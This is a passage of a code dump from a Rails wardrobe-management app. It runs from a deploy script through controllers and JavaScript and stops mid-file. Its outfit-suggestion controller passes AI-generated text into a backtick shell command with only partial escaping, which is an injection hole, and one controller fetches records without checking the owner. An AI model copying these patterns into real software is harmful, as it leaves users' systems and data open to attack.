\"$APP_DIR\"\n\ncd \"$APP_DIR\"\n\ntypeset bundle_home=\"/home/${APP_NAME}/.bundle\"\ndoas mkdir -p \"$bundle_home\"\n\nif [[ ! -d ${bundle_home}/gems ]]; then\n  if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then\n    log \"Bootstrapping gems from ${SHARED_BUNDLE_CACHE}\"\n    doas cp -R \"${SHARED_BUNDLE_CACHE}/gems\" \"$bundle_home/\"\n    [[ -d ${SHARED_BUNDLE_CACHE}/cache ]] &amp;&amp; doas cp -R \"${SHARED_BUNDLE_CACHE}/cache\" \"$bundle_home/\" || true\n  elif [[ -d /home/amber/.bundle/gems &amp;&amp; ${bundle_home} != /home/amber/.bundle ]]; then\n    log \"Bootstrapping gems from /home/amber/.bundle\"\n    doas cp -R /home/amber/.bundle/gems \"$bundle_home/\"\n    [[ -d /home/amber/.bundle/cache ]] &amp;&amp; doas cp -R /home/amber/.bundle/cache \"$bundle_home/\" || true\n  else\n    log_warn \"No shared bundle cache found; bundle install will resolve gems normally\"\n  fi\n  doas chown -R \"${APP_NAME}:${APP_NAME}\" \"$bundle_home\"\nfi\n\ndoas mkdir -p \"${APP_DIR}/.bundle\"\nprint -- \"---\\nBUNDLE_PATH: \\\"${bundle_home}/gems\\\"\" | doas tee \"${APP_DIR}/.bundle/config\" &gt;/dev/null\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"${APP_DIR}/.bundle\"\n\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; bundle config set --local deployment true &amp;&amp; bundle config set --local without 'development test' &amp;&amp; RAILS_ENV=production bundle install\"\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:create db:migrate\"\n[[ -f ${APP_DIR}/db/seeds.rb ]] &amp;&amp; doas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:seed\" || true\n\ninstall_rcd \"$APP_NAME\" \"$APP_DIR\" \"$APP_PORT\" \"$APP_NAME\"\n[[ -n $APP_DOMAIN ]] &amp;&amp; relayd_add_relay \"$APP_DOMAIN\" \"$APP_PORT\"\n\ndoas rcctl restart \"$APP_NAME\" || doas rcctl start \"$APP_NAME\"\nlog_ok \"$APP_NAME live on :$APP_PORT\"\n```\n\n## `rails/amber/app/channels/application_cable/connection.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule ApplicationCable\n  class Connection &lt; ActionCable::Connection::Base\n    identified_by :current_user\n\n    def connect\n      set_current_user || reject_unauthorized_connection\n    end\n\n    private\n      def set_current_user\n        if session = Session.find_by(id: cookies.signed[:session_id])\n          self.current_user = session.user\n        end\n      end\n  end\nend\n```\n\n## `rails/amber/app/controllers/ai_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AiController &lt; ApplicationController\n  before_action :require_authentication\n\n  def analyze_item\n    item = Current.user.items.find(params[:id])\n    result = WardrobeAiService.new(Current.user).analyze_joy(item)\n    item.update!(spark_joy: result[\"sparks_joy\"]) if result[\"sparks_joy\"].in?([true, false])\n    respond_to do |format|\n      format.turbo_stream { render turbo_stream: turbo_stream.replace(\"item_#{item.id}_analysis\", partial: \"ai/analysis\", locals: { result: result, item: item }) }\n      format.json { render json: result }\n    end\n  end\n\n  def tag_item\n    item = Current.user.items.find(params[:id])\n    result = WardrobeAiService.new(Current.user).enclothed_cognition_tag(item)\n    item.update!(mood_effect: result[\"mood_effect\"], life_phase: result[\"life_phase\"])\n    respond_to do |format|\n      format.turbo_stream { render turbo_stream: turbo_stream.replace(\"item_#{item.id}_tags\", partial: \"ai/item_tags\", locals: { item: item.reload, result: result }) }\n      format.html { redirect_to item }\n    end\n  end\n\n  def suggest_outfits\n    @suggestions = WardrobeAiService.new(Current.user).suggest_outfits(\n      occasion: params[:occasion], season: params[:season]\n    )\n    # PH03: auto /photograph the combo (styled) using MASTER photograph command, attach postpro'd image to Outfit\n    # reuse DF02 suggest, DF06 postpro pattern (direct script), DF10 outfit create+items\n    master_root = Rails.root.join(\"..\", \"..\", \"MASTER\").to_s\n    @suggestions.each do |s|\n      next unless s.is_a?(Hash)\n      combo = \"professional fashion photography of outfit '#{s['name']}' with #{Array(s['items']).join(', ')}. #{s['description']}. model, kodak portra, cinematic\"\n      begin\n        out = `cd #{master_root} &amp;&amp; bundle exec ruby bin/cli \"photograph #{combo.gsub('\"', '\\\"')}\" 2&gt;&amp;1`\n        if out =~ /postpro.*(output\\/[^\\s]+_postpro)/\n          pdir = File.join(master_root, $1)\n          imgf = Dir.glob(File.join(pdir, \"*.{jpg,jpeg,png}\")).first\n          if imgf &amp;&amp; File.exist?(imgf)\n            outfit = Current.user.outfits.create!(name: s[\"name\"], description: s[\"description\"].to_s)\n            Array(s[\"items\"]).each do |tit|\n              key = tit.to_s.split(\"(\").first.strip.downcase\n              it = Current.user.items.where(\"lower(title) LIKE ?\", \"%#{key}%\").first || Current.user.items.joy.active_wardrobe.first\n              outfit.outfit_items.create!(item: it) if it\n            end\n            outfit.image.attach(io: File.open(imgf), filename: \"visual.jpg\")\n            s[\"outfit_id\"] = outfit.id\n          end\n        end\n      rescue StandardError =&gt; e\n        Rails.logger.warn(\"PH03 photograph for suggestion failed: #{e.message}\")\n      end\n    end\n  end\n\n  def declutter_guide\n    @candidates = WardrobeAiService.new(Current.user).declutter_candidates\n  end\n\n  def capsule\n    @result = WardrobeAiService.new(Current.user).capsule_optimizer\n  end\n\n  def color_palette\n    @result = WardrobeAiService.new(Current.user).color_palette_analysis\n  end\n\n  def search\n    @query = params[:q].to_s.strip\n    if @query.present?\n      result = WardrobeAiService.new(Current.user).natural_language_search(@query)\n      ids = Array(result[\"item_ids\"])\n      @items = Current.user.items.where(id: ids)\n      @explanation = result[\"explanation\"]\n    else\n      @items = Current.user.items.none\n    end\n  end\n\n  def mood_board\n    @description = params[:description].to_s.strip\n    if @description.present?\n      result = WardrobeAiService.new(Current.user).mood_board_match(@description)\n      ids = Array(result[\"item_ids\"])\n      @items = Current.user.items.where(id: ids)\n      @outfit_name = result[\"outfit_name\"]\n      @reasoning = result[\"description\"]\n    end\n  end\n\n  def occasion_map\n    @coverage = Item::OCCASIONS.each_with_object({}) do |occ, h|\n      h[occ] = Current.user.items.by_occasion(occ).to_a\n    end\n  end\n\n  def style_profile\n    if request.post? || params[:answers].present?\n      answers = params[:answers] || {}\n      result = WardrobeAiService.new(Current.user).infer_style_profile(answers)\n      profile = Current.user.style_profile || Current.user.build_style_profile\n      aesthetic = result[\"aesthetic\"].presence || \"minimal\"\n      profile.update!(style_preferences: aesthetic, body_type: answers[:body_type])\n      redirect_to user_path(Current.user), notice: \"Style profile set to #{aesthetic}\"\n    end\n  end\n\n  def packing_list\n    if params[:duration].present?\n      @duration = params[:duration].to_i\n      @climate = params[:climate].to_s\n      @result = WardrobeAiService.new(Current.user).suggest_packing_list(@duration, @climate)\n      # auto create packing list demo\n      if @result[\"outfits\"]\n        list = Current.user.packing_lists.create!(name: \"#{@climate} #{ @duration }d trip\", starts_on: Date.today, ends_on: Date.today + @duration)\n        # would link items if matched\n      end\n    end\n  end\n\n  def generate_outfit\n    suggestions = WardrobeAiService.new(Current.user).suggest_outfits(\n      occasion: params[:occasion], season: params[:season]\n    )\n    suggestion = Array(suggestions).first\n    return redirect_to(ai_suggest_outfits_path, alert: t(\"amber.outfits.no_vision\", default: \"No vision suggestion generated\")) unless suggestion\n\n    outfit = create_outfit_from_vision_suggestion(suggestion)\n    redirect_to(outfit, notice: t(\"amber.outfits.vision_created\", default: \"Outfit created from MASTER vision\"))\n  end\n\n  private\n\n  def create_outfit_from_vision_suggestion(suggestion)\n    name = suggestion[\"name\"].presence || \"Vision outfit\"\n    outfit = Current.user.outfits.create!(\n      name: name,\n      description: suggestion[\"description\"].to_s,\n      season: params[:season],\n      occasion: params[:occasion],\n    )\n    titles = Array(suggestion[\"items\"])\n    titles.each_with_index do |title, index|\n      key = title.to_s.split(\"(\").first.strip.downcase\n      item = Current.user.items.where(\"lower(title) LIKE ?\", \"%#{key}%\").first\n      item ||= Current.user.items.joy.active_wardrobe.first\n      outfit.outfit_items.create!(item: item, position: index) if item\n    end\n    outfit\n  end\nend\n```\n\n## `rails/amber/app/controllers/application_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationController &lt; ActionController::Base\n  include Authentication\n  include Pagy::Backend\n  allow_browser versions: :modern\nend\n```\n\n## `rails/amber/app/controllers/concerns/authentication.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Authentication\n  extend ActiveSupport::Concern\n\n  included do\n    before_action :require_authentication\n    helper_method :authenticated?\n  end\n\n  class_methods do\n    def allow_unauthenticated_access(**options)\n      skip_before_action :require_authentication, **options\n    end\n  end\n\n  private\n    def authenticated?\n      resume_session\n    end\n\n    def require_authentication\n      resume_session || request_authentication\n    end\n\n    def resume_session\n      Current.session ||= find_session_by_cookie\n    end\n\n    def find_session_by_cookie\n      Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]\n    end\n\n    def request_authentication\n      session[:return_to_after_authenticating] = request.url\n      redirect_to new_session_path\n    end\n\n    def after_authentication_url\n      session.delete(:return_to_after_authenticating) || root_url\n    end\n\n    def start_new_session_for(user)\n      user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|\n        Current.session = session\n        cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }\n      end\n    end\n\n    def terminate_session\n      Current.session.destroy\n      cookies.delete(:session_id)\n    end\nend\n```\n\n## `rails/amber/app/controllers/declutter_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass DeclutterController &lt; ApplicationController\n  before_action :require_authentication\n  before_action :set_item, only: %i[review update_review move challenge complete_challenge outcome last_chance]\n\n  def index\n    @summary = DeclutterDashboardService.new(Current.user).summary\n    @duplicates = DuplicateDetectorService.new(Current.user).ranked_groups\n  end\n\n  def review\n    @review = @item.declutter_review || @item.build_declutter_review(user: Current.user)\n    @score = @item.declutter_score\n    @action = DeclutterActionRouter.new(@item).action\n    @last_chance = LastChanceOutfitService.new(@item).suggestions\n  end\n\n  def update_review\n    review = @item.declutter_review || @item.build_declutter_review(user: Current.user)\n    review.update!(review_params)\n    redirect_to review_declutter_path(@item), notice: \"Declutter review saved\"\n  end\n\n  def move\n    action = params[:target].presence || DeclutterActionRouter.new(@item).action[:recommendation]\n    state = lifecycle_state_for(action)\n    @item.update!(lifecycle_state: state)\n    redirect_to declutter_index_path, notice: \"#{@item.title} moved to #{state.humanize.downcase}\"\n  end\n\n  def challenge\n    challenge = @item.declutter_challenges.create!(\n      user: Current.user,\n      due_on: params[:due_on].presence || 7.days.from_now.to_date,\n      note: params[:note].presence || \"Wear once before deciding.\"\n    )\n    redirect_to review_declutter_path(@item), notice: \"Wear-it-this-week challenge created for #{challenge.due_on}\"\n  end\n\n  def complete_challenge\n    challenge = @item.declutter_challenges.active.order(:due_on).first || @item.declutter_challenges.order(created_at: :desc).first\n    challenge&amp;.complete!\n    redirect_to @item, notice: \"Challenge completed \u2014 item marked worn\"\n  end\n\n  def outcome\n    @item.create_declutter_outcome!(outcome_params.merge(user: Current.user))\n    redirect_to declutter_index_path, notice: \"Declutter outcome recorded\"\n  end\n\n  def last_chance\n    render json: LastChanceOutfitService.new(@item).suggestions\n  end\n\n  private\n\n  def set_item\n    @item = Current.user.items.find(params[:id])\n  end\n\n  def review_params\n    params.require(:declutter_review).permit(:reason_kept, :decision, :notes)\n  end\n\n  def outcome_params\n    params.require(:declutter_outcome).permit(:action, :amount_recovered, :notes)\n  end\n\n  def lifecycle_state_for(action)\n    case action\n    when \"keep\" then \"active\"\n    when \"wear_this_week\" then \"active\"\n    when \"replace_gradually\" then \"active\"\n    when \"repair\" then \"repair\"\n    when \"sell\" then \"resale\"\n    when \"donate\" then \"donate\"\n    when \"sentimental_archive\" then \"sentimental_archive\"\n    when \"release\" then \"released\"\n    else \"declutter_box\"\n    end\n  end\nend\n```\n\n## `rails/amber/app/controllers/follows_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass FollowsController &lt; ApplicationController\n  def create\n    user = User.find(params[:user_id])\n    Current.user.follows_as_follower.find_or_create_by!(followee: user) unless Current.user == user\n    redirect_back fallback_location: user_path(user)\n  end\n\n  def destroy\n    user = User.find(params[:user_id])\n    Current.user.follows_as_follower.find_by(followee: user)&amp;.destroy!\n    redirect_back fallback_location: user_path(user)\n  end\nend\n```\n\n## `rails/amber/app/controllers/home_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass HomeController &lt; ApplicationController\n  def index\n    return unless authenticated?\n    items = Current.user.items\n    @items_count      = items.count\n    @joy_count        = items.joy.count\n    @never_worn_count = items.never_worn.count\n    @worn_this_month  = items.where(\"updated_at &gt; ?\", 30.days.ago).where(\"times_worn &gt; 0\").count\n    @utilization_rate = @items_count &gt; 0 ? (@worn_this_month * 100.0 / @items_count).round : 0\n    @worst_cpw        = items.where(\"price &gt; 0 AND times_worn &gt; 0\")\n                             .select { |i| i.cost_per_wear }\n                             .sort_by { |i| -i.cost_per_wear }\n                             .first(3)\n    @aging_unworn     = items.aging_unworn.limit(4)\n    @recent_items     = items.recent.limit(6)\n    @planned_this_week = Current.user.planned_outfits.this_week.includes(:outfit)\n    @weather          = WeatherService.today\n  end\nend\n```\n\n## `rails/amber/app/controllers/items_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ItemsController &lt; ApplicationController\n  before_action :require_authentication\n  before_action :set_item, only: %i[show edit update destroy spark_joy declutter wear]\n  before_action :authorize!, only: %i[edit update destroy spark_joy declutter wear]\n\n  def index\n    @pagy, @items = pagy(Current.user.items.recent)\n  end\n\n  def show; end\n\n  def new\n    @item = Current.user.items.build\n  end\n\n  def create\n    @item = Current.user.items.build(item_params)\n    if @item.save\n      WardrobeMediaJob.perform_later(@item.id) if @item.photos.attached?\n      redirect_to(@item, notice: \"Item added\")\n    else\n      render(:new, status: :unprocessable_entity)\n    end\n  end\n\n  def edit; end\n\n  def update\n    if @item.update(item_params)\n      WardrobeMediaJob.perform_later(@item.id) if @item.photos.attached?\n      redirect_to(@item, notice: \"Updated\")\n    else\n      render(:edit, status: :unprocessable_entity)\n    end\n  end\n\n  def destroy\n    @item.destroy\n    redirect_to items_path, notice: \"Removed from wardrobe\"\n  end\n\n  def spark_joy\n    @item.update!(spark_joy: true)\n    redirect_to items_path, notice: \"This item sparks joy!\"\n  end\n\n  def declutter\n    @item.update!(spark_joy: false)\n    redirect_to items_path, notice: \"Marked for declutter\"\n  end\n\n  def wear\n    @item.wear!\n    redirect_to @item, notice: \"Worn today \u2014 +1\"\n  end\n\n  def archive_seasonal\n    Current.user.items.active_wardrobe.find_each(&amp;:archive_out_of_season!)\n    redirect_to items_path, notice: \"Out-of-season items moved to archive\"\n  end\n\n  def resurface_seasonal\n    Current.user.items.seasonal_archived.find_each(&amp;:resurface_seasonal!)\n    redirect_to items_path, notice: \"Seasonal items resurfaced if in season\"\n  end\n\n  def shopping_list\n    service = WardrobeGapService.new(Current.user)\n    service.create_recommendations!\n    @gaps = service.gaps\n    @recommendations = Current.user.recommendations.where(kind: \"purchase_gap\").recent\n  end\n\n  private\n\n  def set_item = @item = Item.find(params[:id])\n\n  def authorize!\n    redirect_to(items_path, alert: \"Unauthorized\") unless @item.user == Current.user\n  end\n\n  def item_params\n    params.require(:item).permit(\n      :title, :category, :color, :size, :material,\n      :brand, :price, :times_worn, :purchase_date,\n      :mood_effect, :life_phase, :occasion_tags, :season,\n      photos: []\n    )\n  end\nend\n```\n\n## `rails/amber/app/controllers/outfits_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass OutfitsController &lt; ApplicationController\n  before_action :require_authentication\n  before_action :set_outfit, only: %i[show edit update destroy like reorder share wear]\n  before_action :authorize!, only: %i[edit update destroy share wear]\n\n  def index\n    @pagy, @outfits = pagy(Current.user.outfits.order(created_at: :desc))\n  end\n\n  def dressing_room\n    base = Current.user.items.active_wardrobe.with_attached_photos\n    @zones = {\n      head:   base.where(category: \"Accessories\"),\n      top:    base.where(category: %w[Tops Outerwear]),\n      bottom: base.where(category: %w[Bottoms Dresses]),\n      shoes:  base.where(category: \"Shoes\"),\n    }\n  end\n\n  def show; end\n\n  def new\n    @outfit = Current.user.outfits.build\n  end\n\n  def create\n    @outfit = Current.user.outfits.build(outfit_params)\n    @outfit.save ? redirect_to(@outfit, notice: \"Outfit created\") : render(:new, status: :unprocessable_entity)\n  end\n\n  def edit; end\n\n  def update\n    @outfit.update(outfit_params) ? redirect_to(@outfit, notice: \"Updated\") : render(:edit, status: :unprocessable_entity)\n  end\n\n  def destroy\n    @outfit.destroy\n    redirect_to outfits_path, notice: \"Outfit deleted\"\n  end\n\n  def like\n    @outfit.like!\n    redirect_to @outfit\n  end\n\n  def share\n    body = \"Outfit: #{@outfit.name}\\n\\nItems:\\n#{@outfit.items.map { |i| \"- #{i.title}\" }.join(\"\\n\")}\"\n    post = Current.user.posts.build(body: body, outfit_id: @outfit.id)\n    if post.save\n      redirect_to post, notice: \"Outfit shared to brgen!\"\n    else\n      redirect_to @outfit, alert: \"Could not share: #{post.errors.full_messages.to_sentence}\"\n    end\n  end\n\n  def wear\n    @outfit.touch\n    redirect_to @outfit, notice: \"Marked as worn again!\"\n  end\n\n  def reorder\n    positions = params.require(:positions)\n    positions.each_with_index do |item_id, index|\n      @outfit.outfit_items.where(item_id:).update_all(position: index)\n    end\n    head :ok\n  end\n\n  private\n\n  def set_outfit = @outfit = Outfit.find(params[:id])\n\n  def authorize!\n    redirect_to(outfits_path, alert: \"Unauthorized\") unless @outfit.user == Current.user\n  end\n\n  def outfit_params\n    params.require(:outfit).permit(:name, :description, :category, :season, :occasion)\n  end\nend\n```\n\n## `rails/amber/app/controllers/passwords_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PasswordsController &lt; ApplicationController\n  allow_unauthenticated_access\n  before_action :set_user_by_token, only: %i[ edit update ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_password_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.find_by(email_address: params[:email_address])\n      PasswordsMailer.reset(user).deliver_later\n    end\n\n    redirect_to new_session_path, notice: \"Password reset instructions sent (if user with that email address exists).\"\n  end\n\n  def edit\n  end\n\n  def update\n    if @user.update(params.permit(:password, :password_confirmation))\n      @user.sessions.destroy_all\n      redirect_to new_session_path, notice: \"Password has been reset.\"\n    else\n      redirect_to edit_password_path(params[:token]), alert: \"Passwords did not match.\"\n    end\n  end\n\n  private\n    def set_user_by_token\n      @user = User.find_by_password_reset_token!(params[:token])\n    rescue ActiveSupport::MessageVerifier::InvalidSignature\n      redirect_to new_password_path, alert: \"Password reset link is invalid or has expired.\"\n    end\nend\n```\n\n## `rails/amber/app/controllers/planned_outfits_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PlannedOutfitsController &lt; ApplicationController\n  before_action :require_authentication\n\n  def index\n    @planned = Current.user.planned_outfits.upcoming.includes(:outfit)\n    @outfits = Current.user.outfits.order(:name)\n  end\n\n  def create\n    @plan = Current.user.planned_outfits.build(plan_params)\n    @plan.save ? redirect_to(planned_outfits_path, notice: \"Planned\") : redirect_to(planned_outfits_path, alert: @plan.errors.full_messages.first)\n  end\n\n  def destroy\n    Current.user.planned_outfits.find(params[:id]).destroy!\n    redirect_to planned_outfits_path\n  end\n\n  private\n\n  def plan_params = params.require(:planned_outfit).permit(:outfit_id, :planned_date, :notes)\nend\n```\n\n## `rails/amber/app/controllers/posts_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PostsController &lt; ApplicationController\n  before_action :set_post, only: %i[show destroy like]\n\n  def index\n    @pagy, @posts = pagy(Post.recent.includes(:user, :outfit, :item))\n  end\n\n  def feed\n    @pagy, @posts = pagy(Current.user.feed_posts.includes(:user, :outfit, :item))\n  end\n\n  def show; end\n\n  def new\n    @post = Post.new\n  end\n\n  def create\n    @post = Current.user.posts.build(post_params)\n    @post.save ? redirect_to(posts_path, notice: \"Posted\") : render(:new, status: :unprocessable_entity)\n  end\n\n  def destroy\n    @post.destroy!\n    redirect_to posts_path\n  end\n\n  def like\n    @post.like!\n    redirect_back fallback_location: posts_path\n  end\n\n  private\n\n  def set_post = @post = Post.find(params[:id])\n  def post_params = params.require(:post).permit(:body, :outfit_id, :item_id)\nend\n```\n\n## `rails/amber/app/controllers/registrations_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass RegistrationsController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[new create]\n\n  def new = render\n\n  def create\n    user = User.new(registration_params)\n    if user.save\n      start_new_session_for user\n      redirect_to root_path, notice: \"Welcome to Amber!\"\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  private\n\n  def registration_params\n    params.require(:user).permit(:email_address, :password, :password_confirmation)\n  end\nend\n```\n\n## `rails/amber/app/controllers/sessions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass SessionsController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[ new create ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_session_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.authenticate_by(params.permit(:email_address, :password))\n      start_new_session_for user\n      redirect_to after_authentication_url\n    else\n      redirect_to new_session_path, alert: \"Try another email address or password.\"\n    end\n  end\n\n  def destroy\n    terminate_session\n    redirect_to new_session_path, status: :see_other\n  end\nend\n```\n\n## `rails/amber/app/controllers/users_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass UsersController &lt; ApplicationController\n  def show\n    @user    = User.find(params[:id])\n    @items   = @user.items.recent.limit(12)\n    @outfits = @user.outfits.order(created_at: :desc).limit(6)\n    @posts   = @user.posts.recent.limit(10)\n  end\nend\n```\n\n## `rails/amber/app/controllers/wardrobe_items_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass WardrobeItemsController &lt; ApplicationController\n  before_action :set_wardrobe_item, only: %i[show edit update destroy]\n\n  def index\n    @wardrobe_items = WardrobeItem.includes(:item).recent.limit(100)\n  end\n\n  def show\n  end\n\n  def new\n    @wardrobe_item = WardrobeItem.new\n  end\n\n  def create\n    @wardrobe_item = WardrobeItem.new(wardrobe_item_params)\n    @wardrobe_item.user = current_user if respond_to?(:current_user, true)\n\n    if @wardrobe_item.save\n      redirect_to wardrobe_items_path, notice: t(\"amber.wardrobe_item_created\", default: \"Item added\")\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  def edit\n  end\n\n  def update\n    if @wardrobe_item.update(wardrobe_item_params)\n      redirect_to wardrobe_items_path, notice: t(\"amber.wardrobe_item_updated\", default: \"Item updated\")\n    else\n      render :edit, status: :unprocessable_entity\n    end\n  end\n\n  def destroy\n    @wardrobe_item.destroy\n    redirect_to wardrobe_items_path, notice: t(\"amber.wardrobe_item_deleted\", default: \"Item removed\")\n  end\n\n  private\n\n  def set_wardrobe_item\n    @wardrobe_item = WardrobeItem.find(params[:id])\n  end\n\n  def wardrobe_item_params\n    params.require(:wardrobe_item).permit(:item_id, :acquisition_date, :condition, :notes)\n  end\nend\n```\n\n## `rails/amber/app/helpers/application_helper.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule ApplicationHelper\n  include Pagy::Frontend\nend\n```\n\n## `rails/amber/app/javascript/application.js`\n```javascript\n// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails\nimport \"@hotwired/turbo-rails\"\nimport \"controllers\"\n\nimport { application } from \"controllers/application\"\nimport { eagerLoadControllersFrom } from \"@hotwired/stimulus-loading\"\neagerLoadControllersFrom(\"controllers\", application)\n\nif (\"serviceWorker\" in navigator) navigator.serviceWorker.register(\"/service-worker\")\n\n// Nav swipe-to-reveal\ndocument.addEventListener(\"turbo:load\", () =&gt; {\n  const nav = document.querySelector(\"nav\");\n  if (!nav) return;\n  let y0 = 0;\n  document.addEventListener(\"touchstart\", e =&gt; { y0 = e.touches[0].clientY; }, { passive: true });\n  document.addEventListener(\"touchend\", e =&gt; {\n    const dy = e.changedTouches[0].clientY - y0;\n    if (dy &gt; 40) nav.classList.add(\"nav-visible\");\n    else if (dy &lt; -40) nav.classList.remove(\"nav-visible\");\n  }, { passive: true });\n});\n```\n\n## `rails/amber/app/javascript/controllers/animated_number_controller.js`\n```javascript\nimport AnimatedNumber from \"@stimulus-components/animated-number\"\nexport default class extends AnimatedNumber {}\n```\n\n## `rails/amber/app/javascript/controllers/application.js`\n```javascript\nimport { Application } from \"@hotwired/stimulus\"\nconst application = Application.start()\napplication.debug = false\nwindow.Stimulus = application\nexport { application }\n```\n\n## `rails/amber/app/javascript/controllers/application_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\nimport StimulusReflex from \"stimulus_reflex\"\n\nexport default class extends Controller {\n  connect() {\n    StimulusReflex.register(this)\n  }\n}\n```\n\n## `rails/amber/app/javascript/controllers/auto_submit_controller.js`\n```javascript\nimport AutoSubmit from \"@stimulus-components/auto-submit\"\nexport default class extends AutoSubmit {}\n```\n\n## `rails/amber/app/javascript/controllers/character_counter_controller.js`\n```javascript\nimport CharacterCounter from \"@stimulus-components/character-counter\"\nexport default class extends CharacterCounter {}\n```\n\n## `rails/amber/app/javascript/controllers/clipboard_controller.js`\n```javascript\nimport Clipboard from \"@stimulus-components/clipboard\"\nexport default class extends Clipboard {}\n```\n\n## `rails/amber/app/javascript/controllers/dialog_controller.js`\n```javascript\nimport Dialog from \"@stimulus-components/dialog\"\nexport default class extends Dialog {}\n```\n\n## `rails/amber/app/javascript/controllers/dropdown_controller.js`\n```javascript\nimport Dropdown from \"@stimulus-components/dropdown\"\nexport default class extends Dropdown {}\n```\n\n## `rails/amber/app/javascript/controllers/filter_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\nexport default class extends Controller {\n  static targets = [\"select\", \"grid\"]\n  filter() {\n    const val = this.selectTarget.value\n    this.gridTarget.querySelectorAll(\"[data-category]\").forEach(c =&gt; {\n      c.hidden = val &amp;&amp; c.dataset.category !== val\n    })\n  }\n}\n```\n\n## `rails/amber/app/javascript/controllers/hello_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.element.textContent = \"Hello World!\"\n  }\n}\n```\n\n## `rails/amber/app/javascript/controllers/index.js`\n```javascript\nimport { application } from \"./application\"\nimport { eagerLoadControllersFrom } from \"@hotwired/stimulus-loading\"\nimport StimulusReflex from \"stimulus_reflex\"\nimport ApplicationController from \"controllers/application_controller\"\n\neagerLoadControllersFrom(\"controllers\", application)\n\nStimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })\n```\n\n## `rails/amber/app/javascript/controllers/notification_controller.js`\n```javascript\nimport Notification from \"@stimulus-components/notification\"\nexport default class extends Notification {}\n```\n\n## `rails/amber/app/javascript/controllers/sortable_controller.js`\n```javascript\nimport Sortable from \"@stimulus-components/sortable\"\nexport default class extends Sortable {}\n```\n\n## `rails/amber/app/javascript/controllers/textarea_autogrow_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.resize()\n    this.element.addEventListener(\"input\", this.resize)\n  }\n\n  disconnect() {\n    this.element.removeEventListener(\"input\", this.resize)\n  }\n\n  resize = () =&gt; {\n    this.element.style.height = \"auto\"\n    this.element.style.height = `${this.element.scrollHeight}px`\n  }\n}\n```\n\n## `rails/amber/app/javascript/controllers/timeago_controller.js`\n```javascript\nimport TimeAgo from \"@stimulus-components/timeago\"\nexport default class extends TimeAgo {}\n```\n\n## `rails/amber/app/javascript/controllers/wardrobe_carousel_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  static values = { zones: Object }\n\n  connect() {\n    this.idx = { head: 0, top: 0, bottom: 0, shoes: 0 }\n    Object.keys(this.idx).forEach(z =&gt; this.render(z))\n  }\n\n  prev({ params: { zone } }) { this.step(zone, -1) }\n  next({ params: { zone } }) { this.step(zone, 1) }\n\n  step(zone, dir) {\n    const items = this.zonesValue[zone] || []\n    if (!items.length) return\n    this.idx[zone] = (this.idx[zone] + dir + items.length) % items.length\n    this.render(zone)\n  }\n\n  render(zone) {\n    const items = this.zonesValue[zone] || []\n    const item = items[this.idx[zone]]\n    const overlay = this.element.querySelector(`.zone--${zone} img`)\n    const nameEl = this.element.querySelector(`[data-zone-label=\"${zone}\"]`)\n    const countEl = this.element.querySelector(`[data-zone-count=\"${zone}\"]`)\n\n    if (overlay) {\n      if (item?.url) {\n        overlay.src = item.url\n        overlay.alt = item.name\n        overlay.style.opacity = \"1\"\n      } else {\n        overlay.src = \"\"\n        overlay.style.opacity = \"0\"\n      }\n    }\n    if (nameEl) nameEl.textContent = item?.name ?? \"\u2014\"\n    if (countEl &amp;&amp; items.length) countEl.textContent = `${this.idx[zone] + 1} / ${items.length}`\n    else if (countEl) countEl.textContent = \"none\"\n  }\n}\n```\n\n## `rails/amber/app/jobs/calculate_sustainability_job.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CalculateSustainabilityJob &lt; ApplicationJob\n  queue_as :default\n\n  def perform(item_id)\n    item = Item.find(item_id)\n    metric = item.sustainability_metric || item.build_sustainability_metric\n    metric.assign_attributes(\n      resale_value: estimated_resale_value(item),\n      repair_cost_estimate: estimated_repair_cost(item),\n      environmental_score: environmental_score(item)\n    )\n    metric.save!\n  end\n\n  private\n\n  def estimated_resale_value(item)\n    return nil unless item.price.present?\n    wear_discount = [item.times_worn.to_i * 